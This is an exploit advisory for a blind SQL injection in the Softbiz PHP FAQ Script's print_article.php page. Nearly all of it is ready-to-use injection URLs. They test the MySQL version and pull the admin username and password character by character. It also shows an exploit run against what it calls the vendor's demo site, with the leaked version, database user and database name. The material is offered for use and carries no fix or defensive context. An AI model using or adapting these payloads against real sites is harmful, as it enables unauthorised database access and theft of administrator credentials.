Softbiz PHP FAQ Script Blind SQL Injection Vulnerability

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$  Softbiz PHP FAQ Script Blind SQL Vulnerability                             $
$  Author : Sangteamtham                                                                    $
$  Home  : Hcegroup.net & vnbrain.net                                                 $
$  Download :http://www.softbizscripts.com/FAQ-script-features.php   $
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$ check version : http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=4 
$                        http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=5
$                        http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/*  
$                        http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/*
$  note: password_column,username_column,admin_info_table depend on the database installed
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$ Demo: 
$ In the demo site : 
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$ Exploit:http://server/faq/print_article.php?id=5+and substring(version(),1,1)=5 
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$ MySQL version: 5.0.81-community
$ User: softbiz_kuber@localhost
$ Dataabase: softbiz_faq